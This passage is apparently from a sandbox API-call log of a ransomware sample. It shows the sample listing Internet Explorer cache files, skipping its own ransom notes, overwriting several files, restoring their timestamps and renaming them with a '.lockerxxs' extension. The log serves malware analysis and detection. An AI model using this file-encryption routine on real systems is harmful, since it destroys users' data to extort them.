ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1303, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]", cAlternateFileName="GETYPE~3")) returned 1 [0084.789] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]") returned -1 [0084.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]") returned 1 [0084.789] lstrcmpiA (lpString1="", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]") returned -1 [0084.789] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg") returned="eula-win[1].jpg" [0084.789] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x530afcf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8c3, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]", cAlternateFileName="GETYPE~1")) returned 1 [0084.789] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.789] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]") returned -1 [0084.789] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]") returned 1 [0084.789] lstrcmpiA (lpString1="", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]") returned -1 [0084.790] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]") returned="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=600;grp=852361999[1]" [0084.790] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe138690, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe138690, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe138690, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]", cAlternateFileName="GETYPE~2")) returned 1 [0084.790] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]") returned -1 [0084.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]") returned 1 [0084.790] lstrcmpiA (lpString1="", lpString2="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]") returned -1 [0084.790] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]") returned="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=627518548;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=627518548[1]" [0084.790] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0084.790] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0084.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0084.790] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510ff810, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510ff810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51125970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1762e, dwReserved0=0x18efdc, dwReserved1=0x4f0048, cFileName="jquery-1.11.1.min[1].js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0084.790] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jquery-1.11.1.min[1].js") returned -1 [0084.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jquery-1.11.1.min[1].js") returned -1 [0084.791] lstrcmpiA (lpString1="", lpString2="jquery-1.11.1.min[1].js") returned -1 [0084.791] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]") returned="getype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=852361999;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=600;grp=852361999[1]" [0084.791] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5442d110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5442d110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5442d110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="js[1]", cAlternateFileName="JS_1_~1")) returned 1 [0084.791] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.791] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="js[1]") returned -1 [0084.791] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="js[1]") returned -1 [0084.791] lstrcmpiA (lpString1="", lpString2="js[1]") returned -1 [0084.791] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\jquery-1.11.1.min[1].js") returned="jquery-1.11.1.min[1].js" [0084.791] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44bd95f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44bd95f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44bd95f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="js[2]", cAlternateFileName="JS_2_~1")) returned 1 [0084.791] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="js[2]") returned -1 [0084.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="js[2]") returned -1 [0084.792] lstrcmpiA (lpString1="", lpString2="js[2]") returned -1 [0084.792] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\js[1]") returned="js[1]" [0084.792] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d66650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d66650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54e70ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7154, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="latest[1].eot", cAlternateFileName="LATEST~1.EOT")) returned 1 [0084.792] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="latest[1].eot") returned -1 [0084.792] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="latest[1].eot") returned -1 [0084.792] lstrcmpiA (lpString1="", lpString2="latest[1].eot") returned -1 [0084.792] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\js[2]") returned="js[2]" [0084.793] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d8c7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d8c7b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54e97150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x6e9b, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="latest[2].eot", cAlternateFileName="LATEST~2.EOT")) returned 1 [0084.793] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="latest[2].eot") returned -1 [0084.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="latest[2].eot") returned -1 [0084.793] lstrcmpiA (lpString1="", lpString2="latest[2].eot") returned -1 [0084.793] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[1].eot") returned="latest[1].eot" [0084.793] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d8c7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d8c7b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54e97150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x77b3, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="latest[3].eot", cAlternateFileName="LATEST~3.EOT")) returned 1 [0084.793] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.793] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="latest[3].eot") returned -1 [0084.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="latest[3].eot") returned -1 [0084.793] lstrcmpiA (lpString1="", lpString2="latest[3].eot") returned -1 [0084.793] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[2].eot") returned="latest[2].eot" [0084.794] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e4e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e4e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53122110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x922, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="msn[1].htm", cAlternateFileName="MSN_1_~1.HTM")) returned 1 [0084.794] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msn[1].htm") returned -1 [0084.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msn[1].htm") returned -1 [0084.794] lstrcmpiA (lpString1="", lpString2="msn[1].htm") returned -1 [0084.794] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\latest[3].eot") returned="latest[3].eot" [0084.796] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm") returned="msn[1].htm" [0084.796] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.797] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8fc, lpOverlapped=0x0) returned 1 [0084.797] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.798] CloseHandle (hObject=0xa4) returned 1 [0084.798] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\msn[1].htm.lockerxxs")) returned 1 [0084.799] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6378e3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6378e3e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x637b4540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3112, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="rpc_shindig_random[1].js", cAlternateFileName="RPC_SH~1.JS")) returned 1 [0084.799] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.799] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rpc_shindig_random[1].js") returned -1 [0084.799] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rpc_shindig_random[1].js") returned -1 [0084.799] lstrcmpiA (lpString1="", lpString2="rpc_shindig_random[1].js") returned -1 [0084.799] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\msn[1].htm") returned="msn[1].htm" [0084.800] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xbf7d5790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7d5790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7d5790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="thirdparty[1]", cAlternateFileName="THIRDP~1")) returned 1 [0084.800] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="thirdparty[1]") returned -1 [0084.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="thirdparty[1]") returned -1 [0084.800] lstrcmpiA (lpString1="", lpString2="thirdparty[1]") returned -1 [0084.800] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\rpc_shindig_random[1].js") returned="rpc_shindig_random[1].js" [0084.800] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54a20810, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54a20810, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54adeef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="uid[1].htm", cAlternateFileName="UID_1_~1.HTM")) returned 1 [0084.800] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="uid[1].htm") returned -1 [0084.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="uid[1].htm") returned -1 [0084.800] lstrcmpiA (lpString1="", lpString2="uid[1].htm") returned -1 [0084.800] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\thirdparty[1]") returned="thirdparty[1]" [0084.803] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm") returned="uid[1].htm" [0084.803] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.803] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xa0d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xa0d, lpOverlapped=0x0) returned 1 [0084.804] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.804] CloseHandle (hObject=0xa4) returned 1 [0084.804] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\uid[1].htm.lockerxxs")) returned 1 [0084.805] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5d5130, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe5d5130, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe5d5130, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x3325, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="v2[1]", cAlternateFileName="V2_1_~1")) returned 1 [0084.805] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.805] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="v2[1]") returned -1 [0084.805] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="v2[1]") returned -1 [0084.805] lstrcmpiA (lpString1="", lpString2="v2[1]") returned -1 [0084.805] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\uid[1].htm") returned="uid[1].htm" [0084.806] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54c35b50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54c35b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54c5bcb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x24fea, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="wc-addons[1].css", cAlternateFileName="WC-ADD~1.CSS")) returned 1 [0084.806] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.806] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wc-addons[1].css") returned -1 [0084.806] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wc-addons[1].css") returned -1 [0084.806] lstrcmpiA (lpString1="", lpString2="wc-addons[1].css") returned -1 [0084.806] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\v2[1]") returned="v2[1]" [0084.806] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54c35b50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54c35b50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 